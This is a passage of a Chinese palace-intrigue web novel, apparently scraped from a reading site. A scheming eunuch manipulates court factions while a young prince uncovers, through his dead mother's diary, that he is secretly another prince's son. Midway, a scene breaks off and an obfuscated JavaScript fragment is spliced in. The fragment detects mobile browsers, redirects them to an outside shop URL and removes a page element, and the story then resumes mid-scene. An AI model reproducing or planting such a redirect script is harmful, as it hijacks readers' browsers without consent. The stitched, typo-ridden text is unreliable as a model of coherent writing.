顺子接过奏折,看了一眼,大惊:“掌印,,这……这折子不是被您压下了吗?说边防军饷早已超支,不能再增。” “那是从前。”步青云淡淡道,“现在,我要他送到陆炳手里。记住要不小心让他知道,这份折子是太子的人递上来的。” 顺子倒吸一口凉气。陆炳掌京营兵权,最忌讳边将索饷。若让他以为是太子在拉拢边将,扩充势力…… “就会斗起来。”步青云接话,“陆炳是太后的人,太后与太子本就不睦。这把火一点,朝堂就该热闹了。” 顺子佩服的五体投地:“奴才这就去办。” “不急。”步青云叫住他,“还有一件事。你去找徐阁老的门生,那位江西按察使,告诉他,太子有意提拔他入京。” “太子根本没说过……” “太子没说过,但我们可以替他说。”步青云微笑,“记住,要说的模棱两可,似是而非。让那位按察使自己琢磨去。” 顺子明白了。这是要离间太子与徐阁老。徐阁老虽倾向太子,但若太子背着他拉拢他的门生,徐阁老会怎么想?心生芥蒂是必然的。 “还有,”步青云继续道,“找机会在太后面前提一句,说贵妃最近和几位武将家眷走得很近,似乎在为七皇子铺路。” 顺子记下,又问:“那十八皇子那边……” “他那边不用管。”步青云顿了顿,“不,还是要管。从明天开始,每日申时,准时接他来司礼监。让所有人都看见。” “是。” 顺子退下后,步青云独自坐在案前,看着窗外漫天飞雪。 这一局棋,她已经布好了子。太后、太子、贵妃、徐阁老、陆炳……所有人都在棋盘上,所有人都是棋子。 而魏祚,是她手里最重要的一颗棋。 “殿下,”她轻声自语,“可别让我失望啊。” 西偏殿里,魏祚也在看雪。 他面前摊着步青云给的那本册子,已经翻的卷了边。册子上的名字、关系、利害,他已经背的滚瓜烂熟。但背熟是一回事,真正理解,又是另一回事。 比如今日步青云教的,朝堂之上,没有对错,只有利弊。 他想起小时候,娘亲在他耳边唱,歌。歌里唱,做人要正,直要对得起良心。可如今,步青云告诉他,在宫里,良心是最不值钱的东西。 到底谁是对的? “殿下,”孙嬷嬷推门进来,手里端着托盘,“用些点心吧,你晌午都没怎么吃东西。” 托盘上是两碟点心,一碟桂花糕,一碟枣泥糕。魏祚看了一眼,没什么胃口。 “嬷嬷,”他忽然问,“你说,一个人为了活下去是不是什么都能做?” 孙嬷嬷愣了愣:“殿下怎么问这个?” “随便问问。” 孙嬷嬷放下托盘,叹了口气:“殿下,老奴有句不当说的话。在这宫里,活着,比什么都重要。您娘当年……就是太要强,太讲良心,才……” 她没有说完,但魏祚懂了。 娘亲就是因为太讲良心,知道了不该知道的事,才落得那样的下场。 “嬷嬷,”他拿起一块枣泥酥,咬了一口,很甜,甜的发腻,“如果有一天,我也变得心狠手辣,不择手段,你会不会觉得……我很可怕?” 孙嬷嬷眼圈红了:“殿下,老奴不管您变成什么样,您都是老奴看着长大的孩子。老奴只希望您……好好活着。” 好好活着。 魏祚咀嚼着这四个字,心中涌起复杂的情绪。为了好好活着,他可能要去做很多违背本心的事,可能要变得自己都不认识自己。 值得吗? 他不知道。 “殿下,”孙嬷嬷压低声音,“有件事,老奴一直没告诉您。” “什么事?” “你娘……出事前,见过一个人。” 魏祚猛地抬头:“谁?” “一个嬷嬷,姓王,在浣衣局当差。”孙嬷嬷声音发颤,“徐选侍落水前三天,王嬷嬷来找过她,两人关在屋里说了半个时辰的话。王嬷嬷走的时候,眼睛红肿,像是哭过。” “然后呢?” “然后……徐选侍就出事了。”孙嬷嬷抹泪,“老奴后来去浣衣局找过王嬷嬷,可她……她在那之后就病死了。” 又一条线索断了。 魏祚握紧拳头:“王嬷嬷有没有说过什么?或者,留下过什么东西?” 孙嬷嬷摇头:“没有。但老奴记得王嬷嬷走的时候,手里攥着个东西,用帕子包着,看不清是什么。” 帕子包着的东西…… 魏祚脑中灵光一闪:“嬷嬷,我娘有没有留下什么帕子?或者……绣品?” 孙嬷嬷想了想:“有。徐选侍绣工好,留下不少绣品。老奴都收在箱子里,等想着等您成亲时……” “拿来我看看。” 孙嬷嬷去了里屋,不多时捧出一个樟木箱子。箱子里整整齐齐叠着各色绣品,有帕子,有香囊,有枕套,绣的都是花鸟鱼虫,栩栩如生。 魏祚一件件翻看,手指抚过细密的针脚。娘亲的绣品,他小时候见过,那时候娘亲还会搂着他,教他认上面的花样。 “这是荷花,出淤泥而不染……” “这是翠鸟,要绣的活灵活现……” “这是鲤鱼,跃龙门,寓意好……” 记意如潮水般涌来,魏祚眼眶发热。他强忍着,继续翻找。 忽然,他的手停住了。 箱子最底下,压着一方素帕。帕子是普通的白绢,上面绣的也不是花鸟,而是一行小字: “云深处,月明时,旧时燕归来。” 字迹清秀,用的是深绿色的丝线。 “这是……”魏祚拿起帕子。 孙嬷嬷凑过来看:“这帕子老奴没见过。徐选侍的绣品,老奴都记得,没有这方帕子。” 没见过,却出现在箱子里。是谁放的?娘亲?还是那个王嬷嬷? 魏祚仔细端详帕子。绢料普通,针法也普通,唯独那行小字,绣的极其用心,一心一线都透着情意。 云深处,月明时,旧时燕归来。 那是什么意思?暗号?约定还是……某种暗示。 “嬷嬷,”他问,“浣衣局有没有一个叫云深的地方,或者有没有谁的名字里有云字。” 孙嬷嬷摇头:“浣衣局就是几排平房,没什么特别的。至于名字……老奴不记得有叫‘云’的。” 线索又断了。 魏祚握着帕子,心中一片茫然。这方帕子,到底藏着什么秘密?和娘亲的死,有没有关系? 窗外忽然传来脚步声,很轻,但在寂静的雪夜里格外清晰。 魏祚和孙嬷嬷对视一眼,迅速将帕子塞进袖中,合上箱子。 “十八殿下在吗?”门外传来太监尖细的嗓音。 孙嬷嬷去开门,门外站着个小太监,手里提着食盒:“奴才给殿下请安。贵妃娘娘赏得御膳房点心,请殿下尝尝。” 又是周贵妃。 魏祚起身:“替我谢贵妃娘娘。” 小太监放下食盒,却不走,眼睛在屋里瞟来瞟去:“殿下在读书?贵妃娘娘说了,殿下若缺什么书,尽管开口,贵妃娘娘那儿有的是。” “不必了,替我谢过贵妃娘娘好意。” 小太监这才退下。孙嬷嬷关上门,脸色发白:“殿下,贵妃这是……” “拉拢,也是试探。”魏祚打开食盒,里面是四样精致点心,比孙嬷嬷做的不知好多少倍,“她在看,我会不会接她的橄榄枝。” “那殿下接还是不接?” “接,但要怎么接,是个学问。”魏祚拿起一块点心,又放下,“明日你去长一趟长春宫,替我谢恩。就说我病体初愈,不便亲自前往,改日定方登门拜谢。” “这……” “按我说的做。”魏祚眼神坚定,“不卑不亢,不远不近。让她猜不透我在想什么。” 孙嬷嬷似懂非懂,但还是点头。 夜深了,魏祚却毫无睡意。他坐在灯下,反复看着那方帕子。 云深处,月明时,旧时雁归来。 这十一个字,到底是什么意思? 忽然,他脑中灵光一闪。 云深……月明……燕归来…… 他想起诗经里的一句诗:“燕燕于飞,差池其羽。子之于归,远送于野。” 燕归来,是不是指游子归来?或者……故人归来? 那“云深处,月明时”呢?是地点?还是时间? 魏祚猛地站起身,走到窗边。窗外,一轮明月高悬,照着皑皑白雪,天地间一片澄明。 月明时……就是现在。 他推开窗,寒风灌进来,缺的烛火狂舞。他望着月亮,脑中飞速转动。 云深处……浣衣局……王嬷嬷……娘亲…… 忽然,他想起了什么。 小时候,娘亲曾带他去过一个地方。那是浣衣局后面的一处荒废小院,院里有一口枯井,井边种着棵老槐树。娘亲说,那是她刚入宫时住的地方,后来荒废了。 那地方很偏僻,少有人去。娘亲为什么带他去?是不是……那里藏着什么秘密? 魏祚的心跳骤然加快。 他看了看天色,子时已过,宫里除了巡夜的侍卫,大多已睡下。现在去,会不会太冒险? 但他等不及了。帕子出现在箱子里,一定是有人想告诉他什么。而这个人,很可能就是当年给娘亲送帕子的王嬷嬷。 或者王嬷嬷托付的人。 “殿下,您要去哪儿?”孙嬷嬷见他披上斗篷,惊问。 “出去一趟。”魏祚系好带子,“嬷嬷,若有人问起,就说我睡了。” “殿下,这大半夜的……” “放心,我去去就回。” 魏祚推门出去,身影很快消失在雪夜中。 孙嬷嬷站在门口,望着他远去的方向,双手合十,默默祈祷。 雪夜的皇宫格外寂静,也格外危险。 魏祚避开巡夜的侍卫,沿着宫墙的阴影处快步走着。他对皇宫的布局并不熟悉,但浣衣局在西北角,西偏殿在西南角,中间要穿过大半个后宫。 一路上,他心跳如擂鼓。若是被抓住,私自夜行是大罪,轻则杖责,重责……他不敢想。 但他必须去。那方帕子,那些字,像钩子一样勾着他的心。他要知道真相,要知道娘亲到底因何而死。 半个时辰后,他来到了浣衣局。 浣衣局内,一排排平房黑漆漆的,只有几间屋子还亮着灯。 那是值夜的宫女。 魏祚绕到后面,到了记忆中的那个小院。 院门虚掩着,推开时发出吱呀一声,在寂静的雪夜里格外刺耳。 魏祚屏住呼吸,等了一会儿,确定无人注意,才闪身进去。 小院比他记忆中更破败了。枯井被积雪覆盖,老树光秃秃的树枝伸向夜空,像鬼爪。愿你三间屋子,门窗都破了,风吹过时发出呜呜的响声。 云深处……这里算“云深处”吗? 魏祚站在院中,四顾茫然。帕子上只给了地点和时间,却没说要找什 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魏祚用力掀开地砖,下面是一个小小的暗格。暗格里,放着一个油纸包。 他颤抖着手拿出油纸包,打开。 里面是一本薄薄的册子,还有一封信。 册子封面没有字,翻开,是一页页娟秀的小楷,记录着一些日常琐事。 某日某月,浣衣局发了新衣;某月某日被管事嬷嬷责罚;某月某日,见到一位贵人…… 是娘亲的日记。 魏祚一页页翻看,手抖得越来越厉害。日记从娘亲入宫开始,记录了她十六岁到十九岁的生活。平淡,琐碎,却透着少女的天真与憧憬。 直到翻到最后一页。 那一页只有一行字,墨迹很深,几乎划破纸张: “我看见了不该看见的。他们要杀我灭口。小祚,我的孩子,你要好好活着,不要报仇。” 日期是隆庆十五年三月初七。 娘亲落水的前一天。 魏祚眼泪夺眶而出,滴在纸上,晕开磨迹。他死死咬着嘴唇,不让自己哭出声。 许久,他擦干眼泪,打开那封信。 信是王嬷嬷写的,字迹歪歪扭扭,像是病中所书: “徐妹妹:你托我藏的东西,我藏好了,在院子中间那棵槐树下三尺处。若我出事,你记得来取。另外,小心周贵妃,她好像知道了什么。还有,你让我打听的那位云公子,我打听到了,他真名叫……后面的字被水浸湿了,看不清楚,只隐约能看到一个‘稹’字。” 信到这里就断了,后面的部分被水渍晕染,字迹模糊不清衣。 魏祚反复看着那几行字。 东西藏在槐树下三尺处,刚才只摸了树洞,没挖树下。 小心周贵妃,果然和周贵妃有关。 云深……云公子……稹 魏祚脑中灵光一闪。云深处,是不是指云公子的住处?或者,云是姓氏? 稹……魏稹? 他浑身一颤。魏稹,他的三哥,三皇子,三年前暴病身亡的那个! 难道娘亲的死,和三皇子有关?那个云公子,就是三皇子魏稹。 可三皇子为什么要见娘亲一个浣衣局宫女?他们之间有什么秘密?周贵妃又为什么牵扯其中? 魏祚感到自己陷入了一个巨大的谜团,每解开一个结,就发现更多的结。 他将日记和信重新包好,揣进怀里,然后走到槐树下。初夏积雪很厚,他没有工具,只能用手挖。 挖到三尺深时,指尖出到一个硬物。 是个铁盒子,不大,锈迹斑斑。魏祚费力的把它挖出来,打开。 盒子里只有两样东西,一块双鱼佩,还有一封血书。 血书很短,只有几行字: “隆庆十二年腊月,三皇子魏稹与浣衣局宫女徐氏私通,孕。十三年三月,徐氏产子,即十八皇子魏祚。周贵妃得知,欲除之而后快。徐氏为保子,委身皇上,封选侍。十五年三月,周贵妃查知真相,欲灭口。徐氏留书于此,若他日有人发现,望为我儿伸冤。” 落款是:徐氏绝笔。 魏祚瘫坐在雪地里,脑中一片空白。 他不是隆庆帝的儿子。 他是三皇子魏稹的儿子。 娘亲不是被临幸封为选侍,而是为了保他,被迫委身于皇上。 周贵妃要杀娘亲,不是因为争宠,而是因为娘亲知道了不该知道的秘密。 所有的线索,所有的疑点,在这一刻全部串联起来。 为什么娘亲死的不明不白。 为什么周贵妃对他格外关注。 为什么太后、太子、陆炳……所有人都盯着他? 因为他不是皇子,他是皇孙。他的存在,本身就是个错误,是个随时可能引爆的秘密。 雪越下越大,落在魏祚身上,他却感觉不到冷。怀里那本日记、那封信、那块玉佩、那封血书,像火一样灼烧着他的胸膛。 原来如此。 原来如此。 他忽然想笑,又想哭。笑这命运的荒唐,笑这十六年的欺骗。 他不是皇子,他是孽种。他的出生就是个错误,他的存在就是个笑话。 那步青云呢?他知道吗。他选中他,是因为他的身份,还是因为……他也不知道。 魏祚不知道自己在雪地里坐了多久,直到四肢麻木,才跄踉的站起身。他将铁盒子重新埋好,抹去痕迹,然后跌跌撞撞的往回走。 回去的路比来时更难走。不是路难走,是心难走。 每一步,都像踩在刀尖上。 别报仇。 可他怎么能不报仇? 娘亲是为了他才死的。为了保全他这个孽种,为委身于仇人,最后还被灭口。 还有三皇子……他的亲生父亲,又是怎么死的?真的是暴病吗?还是……也被灭口了? 魏祚回到西偏殿时,天快亮了。孙嬷嬷等在门口,见他浑身是雪,脸色苍白,吓了一跳。 “殿下,您这是……” “我没事。”魏祚推开她,走进屋里,将门关上,“嬷嬷,我想一个人静一静。” 孙嬷嬷在门外站了许久,最终叹着气离开了。 屋内,魏祚坐在黑暗中,怀里的东西像烙铁一样烫。 他不知道该怎么办。 告诉步青云?可步青云知道了,会怎样对他?还会帮他吗?还是会把他当成更大的筹码? 不告诉?自己守着这个秘密,又能守多久? 窗外的天渐渐亮了,雪停了,但乌云未散,阴沉沉的压着宫墙。 魏祚望着窗外,眼中第一次有了狠戾的光。 不管怎样,他都要活下去。 不仅为了自己,也为了娘亲,为了那个所谓的亲生父亲。 还要查清真相,要让所有害过他们的人,付出代价。 哪怕这条路,要用鲜血铺就。 7. 第 7 章 天光大亮时,魏祚还坐在黑暗里。 怀中的东西冰冷沉重,像一块永不融化的冰,将寒意一丝丝渗进骨髓。他维持着同一个姿势坐了太久,四肢僵硬麻木,但意识却异常清醒。 清醒的能听见血液在血管里奔流的声音,能听见心脏每一次沉重撞击胸腔的回响。 他不是皇子。 这个念头像钝刀,一遍遍凌迟着他的认知。十六年来赖以生存的身份,十六年来唯一确定的真相,原来是个天大的谎言。 隆庆帝不是他的父亲。 那个高高在上、从未正眼看过他的男人,那个他本该称为父皇的人。 是杀母仇人的丈夫。 而他的亲生父亲,三皇子魏稹,早在三年前就暴病身亡。死的不明不白,像这宫里许许多多不该活着的人一样,悄无声息的消失。 “小祚,好好活着,别报仇。” 娘亲的遗言在耳边回响。可怎么能不报仇?娘亲为了他,委身于不爱的男人,最后还死得不明不白。 这血海深仇,如何能不报? 窗外传来扫雪的声音,沙沙的,有节奏的,像顿刀磨过骨头。 “殿下,您醒了吗?”孙嬷嬷在门外轻声问。 “醒了。”魏祚应了一声,声音嘶哑的可怕。他清了清嗓子,“嬷嬷,打盆热水来。” 热水端进来时,孙嬷嬷看到他苍白的脸色,吓了一跳:“殿下,您这是……” “昨夜没睡好。”魏祚掬水洗脸,冰凉的水刺激着皮肤,让他清醒了些,“嬷嬷,今日不必准备早饭了,我不饿。” “不吃饭怎么行,您这身子……” “我说不饿。”魏祚抬起头,眼神是孙嬷嬷从未见过的冷硬。 孙嬷嬷噎住了,嘴唇动了动,最终什么也没说,默默退了出去。 魏祚对着铜镜整理衣冠。镜中的少年面容依旧清秀,但眉宇间有什么东西不一样了。是戾气,是恨意,是破釜沉舟的决绝。 他知道,从今天起,他再也不是那个怯诺畏缩的十八皇子了。 他是魏稹的儿子,是徐宫女的儿子,是这深宫里最大的秘密。 辰时末,顺子来了。 “殿下,掌印请您过去。”顺子垂手立在门外,语气恭敬,眼神却若有若无地扫过屋内。 魏祚心中一凛。是例行公事,还是……步青云察觉了什么? “知道了。”他压下心绪,起身出门。 去司礼监的路上,两人一前一后谁也没说话。雪后的宫道很滑,魏祚走得很稳,每一步都像丈量过。他在想,如果步青云问起,他该怎么回答。 实话实说?风险太大。隐瞒?又能瞒多久? 直到走进司礼监二堂,他也没想出答案。 步青云依旧坐在紫檀木大案后,今日换了身墨绿常服,正低头写着什么。听到脚步声,她抬起头,目光在魏祚脸上停留了一瞬。 “殿下今日气色不太好。”她淡淡开口。 “昨夜没睡好。”魏祚垂下眼。 “哦?”步青云放下笔,“可是有什么心事?” 来了。魏祚手心渗出冷汗,面上却不动声色:“没有,只是做了个噩梦。” “什么噩梦?” “梦见……我娘。”魏祚抬眼,对上步青云审视的目光,“梦见她落水,我在岸上看着,却救不了她。” 这话半真半假,反而更让人信服。步青云看了他片刻,忽然道:“殿下想为徐选侍报仇吗?” 魏祚心头狂跳,强作镇定:“人都死了,报仇有什么用?” “有用。”步青云站起身,缓步走到窗边,“报仇不是为了死人,是为了活人。是为了告诉那些害人的人,血债,终须血偿。” 他的声音很轻,却像重锤敲在魏祚心上。他想起步青云说过的话,他家一百三十七口,一夜之间全部被杀。他活下来,就是为了报仇。 “公公的仇……报了吗?”他试探着问。 “还没有。”步青云转身,背光而立,面容隐在阴影里,“但快了。只要殿下配合,很快就能报了。” 魏祚沉默。步青云的仇人是谁?是隆庆帝?是太后?还是朝中某个权贵?他不敢问,也不能问。 “今日的功课是什么?”他转移话题。 步青云走回案前,从一堆奏折中抽出一本:“这是兵部呈报的北境军情。鞑靼犯边连破三城,守将战死。兵部请调京营三万兵马北上增援,陆炳请战。” 魏祚接过奏折,快速浏览。折子上说,北境战事吃紧,鞑靼骑兵来去如风,边军疲于应对。兵部尚书提议从京营调兵,而陆炳作为锦衣卫指挥使,主动请缨。 “路指挥使要去北境?”他皱眉。 “他想去,但有人不想让他去。”步青云道,“太子递了折子,说京营拱卫京师,不以轻动。建议从河南、山东调兵。” “那太后……” “太后还没表态。”步青云指了指另一本奏折,“但太后让内务府给陆炳府上送了一车药材,说是给他备着,北境苦寒,需好生保养。” 魏祚听懂了。太后这是在暗示陆炳,他她支持他去,但也要他保重。而太子反对,是不想让陆炳掌兵权立功。 “公公觉得,该让谁去?”他问。 步青云不答反问:“殿下觉得呢?” 魏祚仔细想了想,道:“从京营调兵,最快,但风险最大。若京营空虚,京师不稳。从地方调兵,稳妥,代耗时。等兵到了,北境可能已经丢了。” “那怎么办?” “能不能……折中?”魏祚试探道,“从京营调一万,再从河南、山东各调一万。陆炳为帅,但副帅用太子的人。如此,既解了北境之危,又互相牵制。” 步青云眼中闪过一丝诧异:“殿下这法子,倒是周全。但有一处不妥。” “何处?” “陆炳和太子的人,在战场上能同心协力吗?”步青云冷笑,“恐怕仗还没打,自己人先打起来了。” 魏祚语塞。这倒是,陆炳和太子势同水火,让他们合作,无异于与虎谋皮。 “那……” “其实很简单。”步青云提笔,在奏折上批了几个字,“不准。” 魏祚愣住:“不准?” “对,不准。”步青云放下笔,“北境战事,让他们自己解决。守将是吃干饭的吗?边军是纸糊的吗?年年要钱要粮,真打起来,却要朝廷调兵。这折子打回去,让他们拿出真本事来。” “可若真的失守……” “失守了再说。”步青云淡淡道,“殿下要记住,有时候败一仗,比胜一仗更有用。” 魏祚不解。 “北境若真失守,谁最着急?”步青云问。 “边军,百姓,还是……朝廷?” “是,但不全是。”步青云点拨,“最着急的,是那些在北境有田庄、有生意、有关系的朝臣。比如徐阁老,他家的商队年年往北境贩茶。比如周贵妃的娘家,在北境有马场。比如太后的侄孙,在北境当知府。” 魏祚恍然:“所以,败一仗,这些人就会着急,就会催促朝廷出兵。那时候,派谁去,怎么去,就是我们说了算。” “不错。”步青云颔首,“现在出兵,是陆炳和太子争。等败了再出兵,就是他们求我们。这其中的差别,殿下可明白?” 魏祚明白了。 这就是权力。 让别人求着你,而不是你求着别人。 “可百姓……”他迟疑道。 “百姓?”步青云笑了,笑容里带着说不清的凉薄,“殿下,你要记住,成大事者,不拘小节。死几个百姓,丢几座城,算什么?只要最后能赢,这些代价,都值得。” 这话说的冷酷,但魏祚知道,他说的是现实。这宫里宫外,谁不是踩着尸骨往上爬? “受教了。”他低声道。 步青云看了他一眼,忽然道:“殿下今日,似乎格外沉默。” 魏祚心头一紧,面上强作镇定:“只是……有些不适应。” “不适应什么?” “不适应……”魏祚斟酌着用词,“不适应……这些算计。” 步青云盯着他看了,许久忽然笑了:“殿下,这还只是开始。以后的路,比这难走的多,也比这脏的多。你若现在就想退,还来得及。” “我不会退。”魏祚抬起头,眼神坚定,“请公公继续教我。” 步青云眼中闪过一丝满意:“好。那今日的第二课,我教殿下。 如何杀人不见血。” 魏祚浑身一颤。 步青云从案头拿起另一本奏折:“这是督察院左督御史的折子,弹劾户部右侍郎贪赃。证据确凿,按律当斩。但这位右侍郎,是徐阁老的女婿。” 魏祚接过奏折,上面罗列着一条条罪状:“贪污赈灾银两,强占民田,收受贿赂,每一条都够杀头。” “公公要保他?” “不,我要他死。”步青云淡淡道,“但不要现在死,要等它最有价值的时候死。” “什么时候?” “等徐阁老和太子彻底绑在一起的时候。”步青云眼中寒光一闪,“到那时,杀了他,就等于断了徐阁老一条臂膀,也等于打了太子一记耳光。” 魏祚倒吸一口凉气。这不是杀人,这是诛心。杀了徐阁老的女婿,徐阁老会怎么想?太子会怎么想?朝中那些观望的人会怎么想? “可证据……” “证据先压着。”步青云将奏折锁进抽屉,“等时机到了,自然会有人递上来。到时候,我们迫于压力,秉公处理,谁也说不出什么。” 好一个迫于压力,好一个秉公处理。魏祚看着步青云平静的面容,忽然感到一股寒意。这个人,心思之深,手段之狠,远超他的想象。 和他合作,无异于与虎谋皮。 但除了他,他还能靠谁? “殿下怕了?”步青云问。 魏祚摇头:“没有。只是……觉得公公很厉害。” “厉害?”步青云笑了,笑容里带着苦涩,“殿下,这宫里,不厉害的人早就死了。我能活到今天,不是因为我厉害,是因为我比别人更狠,更绝,更不择手段。” 他顿了顿,声音转低:“殿下若想活下去,也得学会这些。心要狠,手要稳,该杀是绝不手软,该忍时绝不冒头。这些话。殿下要刻在心里。” 魏祚重重点头。 接下来的一个时辰,步青云又教了他许多。如何安插眼线,如何传递消息,如何挑拨离间,如何借刀杀人。每一样,都阴暗,都狠毒,都……实用。 魏祚认真听着,认真记得。他知道,这些东西,将来都可能救他的命。 申时末,功课结束。魏祚起身告辞,走到门口时,步青云忽然叫住他。 “殿下。” “公公还有何吩咐?” 步青云看着他,许久,才道:“这宫里,秘密很多。有些秘密,知道了未必是好事。殿下……要好自为之。” 魏祚心头狂跳,强作镇定:“我不明白公公的意思。” “不明白最好。”步青云转身,望向窗外,“去吧。记住,今日所学,不可对任何人提起。” “是。” 走出司礼监,魏祚才发现,自己后背已经湿透。步青云最后那句话,是警告,还是试探?他知道什么?知道多少? 他不敢想,也不能想。 现在最重要的是,藏好秘密,然后……等待时机。 回西偏殿的路上,魏祚遇到了一个人。 是七皇子魏禄。 他带着几个太监,正在御花园里打雪仗,见到魏祚,眼睛一亮:“十八弟!” 魏祚停下脚步,垂首行礼。 “你这是从哪儿来?”魏禄走过来,上下打量他,“脸色这么差,又病了?” “没有,刚从寺礼监回来。” “又去步公公那儿了?”魏禄挑眉,“十八弟和步公公走的可真近。不知道的,还以为步公公是你什么人呢?” 这话说的阴阳怪气,旁边的太监都低下头,不敢吭声。 魏祚握紧袖中的手,面上却露出怯懦的笑:“七哥说笑了。步公公是奉太后之命教导我,我岂敢不从?” “太后?”魏禄嗤笑,“太后倒是好心。不过十八弟,哥哥得提醒你一句,这宫里,不是什么人的大腿都能抱的。抱错了可是要摔死的。” “多谢七哥提醒。”魏祚低头。 魏禄盯着他看了片刻,忽然凑近,压低声音:“十八弟,你知道我娘为什么讨厌你娘吗?” 魏祚浑身一僵。 “因为你娘……不守妇道。”魏禄我声音像毒蛇,钻进耳朵里,“一个浣衣局宫女,勾引皇子,而怀了野种。要不是父皇仁慈,你们母子早死了。” 野种。 这两个字像针一样扎进心里。魏祚死死咬着牙,才没让自己失态。 “七哥……”他声音发颤,“这种话可不能乱说。” “我乱说?”魏禄笑了,笑容恶毒,“你去问问浣衣局的老人,谁不知道?你娘当年,可是和三皇子……” “七哥!”魏禄猛的抬头,眼中血丝密布。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082483|195348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 魏禄他吓了一跳,随即恼羞成怒:“怎么?我说错了?你娘就是个贱人,你……” “七皇子。”一个声音打断了他。 众人回头,只见步青云不知何时站在不远处,面色平静,眼神却冷的像冰。 魏禄脸色一变,却很快恢复如常:“步公公,好巧。” “不巧,奴才特意来找十八殿下。”步青云走过来,看了魏祚一眼,又看向魏禄,“七皇子刚才说什么?奴才没听清?可否再说一遍?” 魏禄张了张张嘴,没敢说。步青云的眼神太可怕,像是要把他生吞活剥。 “没、没什么。”他讪讪道,“我和十八弟开玩笑呢。” “开玩笑?”步青云挑眉,“那这玩笑可开的有些过了。皇家子嗣,岂容诋毁?这话说传到皇上耳朵里,怕是不好听。” 魏禄脸色发白。隆庆帝虽然昏聩,但最终颜面。若知道他在背后议论皇家丑闻,定不会轻饶。 “是、是我食言了。”他咬牙道,“十八弟,对不住。” 魏祚垂着眼,没说话。 “既然七皇子知错了,那便罢了。”步青云淡淡道,“只是下次,还请七皇子慎言。这宫里,隔墙有耳。” 魏禄狠狠瞪了魏祚一眼,带着人走了。 等他们走远,步青云才看向魏祚:“殿下没事吧?” “没事。”魏祚声音干涩,“多谢公公解围。” 步青云盯着他看了片刻,忽然道:“七皇子说的话。殿下不必放在心上。这宫里,疯狗多的是,见人就咬。” 魏祚苦笑。疯狗?也许吧。但疯狗的话,往往最真。 “公公找我,有事?”他转移话题。 “没什么大事。”步青云从袖中取出一个小瓷瓶,“这是上好的伤药,殿下拿着。若有人欺负你,不必忍着。打回去,打出事来,有我担着。” 魏祚愣住了。他看着步青云,看着这个权倾朝野、心狠手辣的掌印太监,心中涌起复杂的情绪。 是真心,还是假意? 他不知道。 让他接过了瓷瓶,:“谢公公。” “去吧。”步青云转身离开,走了几步,又停下,“殿下,记住我说的话。心要狠,手要稳。该杀时绝不手软。” 魏祚看着他远去的背影,握紧了手中的瓷瓶。 心要狠,手要稳。 他会的。 回到西偏殿,魏祚关上门。 烛光下,玉佩泛着温润的光泽。 魏祚抚摸着双鱼,心中五味杂陈。 三皇子魏稹,他的亲生父亲。是个怎样的人?为什么和娘在一起?又为什么……死了? 他翻开娘亲的日记,一页页仔细看。这次,他看的更仔细,不放过任何一个细节。 日记里,娘亲很少提三皇子,偶尔提到,也只是那位贵人,但字里行间能看出情意。 “今日他又来了,带了一包桂花糖。他说,我笑起来好看。” “他说要娶我,可我是宫女,他是皇子,怎么可能?” “我有了。他不知道。我不敢说。” “他知道了,很高兴,说要向皇上请旨。可是……贵妃知道了。” “贵妃威胁我,若敢说出去,就杀了我,杀了孩子,我害怕。” “皇上临幸了我。他说,只有这样,才能保住孩子。我哭了,但他抱着我,说会对我好。” “孩子生了,是个男孩。皇上很高兴,封我为选侍。可我不高兴。我想他。” 看到这里,魏祚的眼泪掉了下来。 娘亲不爱隆庆帝,他爱的是三皇子。可是为了保住他,他委身于不爱的男人,还假装高兴。 那些年里,娘亲是怎么过的?日日夜夜,面对不爱的男人,还要强颜欢笑。最后,还因为知道的太多,被灭口。 “周贵妃……”魏祚咬着牙,眼中迸出恨意。 是她,一定是她。娘亲的日记里,多次提到贵妃威胁、贵妃知道。那个贵妃,就是周贵妃。 她为什么要这样做?是因为嫉妒娘亲得到了皇帝的爱?还是因为……别的。 魏祚继续往下看。日记到后面,字迹越来越潦草,像是写的匆忙。 “他死了。暴病。我不信。他身体那么好,怎么会暴病?” “我去找他,被拦住了。他们说三皇子得的是瘟疫,尸体已经烧了。” “我不信,我要查。可王嬷嬷说,别查,会没命的。” “我好像知道了什么。那天在御花园,我看见……我不敢写,写出来,会没命。” “他们把小祚带走了,说要给皇上看。我害怕,他们会不会对小祚下手。” “我要把真相写下来,藏起来。如果有一天我死了,希望有人能看到,为我和他报仇。” 日记到此为止。最后一页,就是那句“我看见了不该看见的。他们要杀我灭口。” 魏祚合上日记,闭上眼。脑海中,拼凑出一个模糊的真相。 三皇子和娘亲相爱,娘亲怀孕。周贵妃知道后,威胁娘亲。娘亲为保孩子,委身隆庆帝。三皇子暴病身亡,娘亲怀疑,案中调查,发现了什么。然后,娘亲被灭口。 可周贵妃为什么这么恨三皇子?恨到要杀了他,还要杀娘亲。 魏祚想起朝中的局势。三皇子生前,很得隆庆帝喜爱,甚至一度有传言,隆隆庆想废太子,改立三皇子。是太子的生母元后早逝,三皇子的生母只是嫔,才作罢。 所以,是三皇子威胁到了太子的地位。可周贵妃是七皇子生母,和太子是对头,为什么要帮太子除掉三皇子? 除非……三皇子威胁到的,不止太子一人。 魏祚脑中灵光一闪。是了,三皇子若登基,周贵妃和七皇子就永无出头之日。所以周贵妃要除掉三皇子,为七皇子铺路。 可除掉三皇子,最大的受益者是太子。周贵妃会这么好心,为他人做嫁衣? 除非……她以为,除掉三皇子后,她有能力扳倒太子,扶七皇子上位。 可现在看来,她显然高估了自己。太子依旧稳坐东宫,七皇子依旧只是个皇子。 那三皇子,到底是怎么死的?真的是暴病,还是……被人害死? 害死他的人,是周贵妃?还是太子?或者……两者都有。 魏祚感觉自己陷入了一个巨大的谜团。每解开一个结,就发现更多的结。 但有一点是确定的。 他的亲生父母,都死的不明不白。而凶手,很可能还在逍遥法外。 他要查清楚。不管付出什么代价,他都要查清楚。 8. 第 8 章 腊月二十,太后李氏在慈宁宫设宴,之请了两个人,步青云和陆炳。 消息传到司礼监时,步青云正在批红。她笔尖顿了顿,一滴朱砂落在奏折上,迅速洇开,像一滴血。 “知道了。”她淡淡道,“备轿,申时去慈宁宫。” 